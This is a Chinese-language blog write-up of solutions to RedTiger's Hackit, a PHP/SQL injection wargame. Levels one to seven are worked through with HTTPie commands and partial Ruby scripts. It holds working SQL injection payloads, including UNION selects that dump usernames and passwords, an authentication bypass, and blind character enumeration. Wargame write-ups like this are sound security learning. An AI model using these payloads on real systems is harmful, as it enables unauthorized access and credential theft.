RedTigers Hackit是關於PHP和SQL injection的wargame。
又開始做wargame了,這次的進步是用上了HTTPie,一個類似curl的工具,但語法比後者優雅一些。
1
1 | http get 'http://redtiger.dyndns.org/hackit/level1.php' cat=='1 union select 1,2,username,password from level1_users' |
2
指定--session選項就可以實現cookie
jar功能了,請求時會發送Cookie首部,也會保存服務端發來的Set-Cookie首部,而curl裏實現同樣的同能需要指定-b c -c c。
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level2.php' username="' or 2='2" password="' or 2='2" login=Login |
3
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level3.php' 'usr[]==' |
報錯:
1 | Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21 |
可以下載這個文件:
1 | http --session=./c get 'http://redtiger.dyndns.org/hackit/urlcrypt.inc' --download |
猜測usr字段被用來做SQL查詢了:
1 | http --session=./c get 'http://redtiger.dyndns.org/hackit/level3.php' usr==$(php urlcrypt.inc "' union select 1,username,3,4,5,password,7 from level3_users where username='Admin' -- ") |
4
Blind SQL injection,二分搜索枚舉每個位置的字符:
1 | require 'net/http' |
5
1 | pass=$(echo -n a | md5sum) |
6
先確定SQL返回結果有5列,然後填充Admin:
1 | http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,'Admin',3,4,5" |
報錯:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27。
利用MySQL中xexadecimal literal默認爲字符串的性質,嘗試:
1 | http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,0x61646d696e,3,4,5" |
猜測第二列被用來做查詢了:
1 | a=$(echo -n "' union select 1,username,3,password,5 from level6_users where status=1-- " | rax2 -S) |
7
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="xxx'" dosearch='search!' |
觸發錯誤信息,瞭解到查詢用的SQL:
1 | SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%#{serach}%' OR text.title LIKE '%#{search}%') |
嘗試發現比較運算符及substr、mid、left等很多字符串函數被過濾了。枚舉得出news.autor的長度:
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="Google%' and length(news.autor)=17 and '%'='" dosearch='search!' |
發現locate函數沒有過濾,找出news.autor中出現過的字符:
1 | Net::HTTP.start('redtiger.dyndns.org') {|http| |
得到這些:efglorstu0。然後開始枚舉17位密碼中每一位的字符:
1 | u = URI '/hackit/level7.php' |
得到了密碼,但是
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' username='*****************' try='Check!' |
提示不正確……錯在哪裏了啊